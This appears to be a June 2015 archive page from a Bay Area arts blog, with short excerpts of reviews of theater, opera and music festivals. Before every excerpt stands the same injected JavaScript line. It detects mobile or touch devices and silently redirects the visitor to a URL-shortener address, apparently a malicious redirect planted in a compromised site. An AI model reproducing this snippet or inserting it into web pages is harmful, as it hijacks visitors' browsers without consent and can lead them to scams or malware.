June 2015

June 29, 2015

“Detroit” closes Aurora’s 23rd season

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Summer barbecues fuel a modern farce...

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Categories: theater

June 25, 2015

“The Trojans” a genuine spectacle at SF Opera

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); The flames of war and the flames of love… The San Francisco Opera turned in a triumphant spectacle last Thursday with Hector Berlioz’...

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Categories: opera

June 20, 2015

Ojai in Berkeley

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); A festival of beaten gold. The Ojai Music Festival, a venerable institution that has brought unusual music to the quiet Ojai valley for the last...

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June 19, 2015

Strand Theater opens with a Caryl Churchill play

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); ACT inaugurates handsome new theater on Market Street...

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Categories: theater

June 15, 2015

Summer music madness

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); After a great year for Bay Area classical music, the summer festival season is fast upon us. This very week Cal Performances closes out a full year of programming...

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Categories: music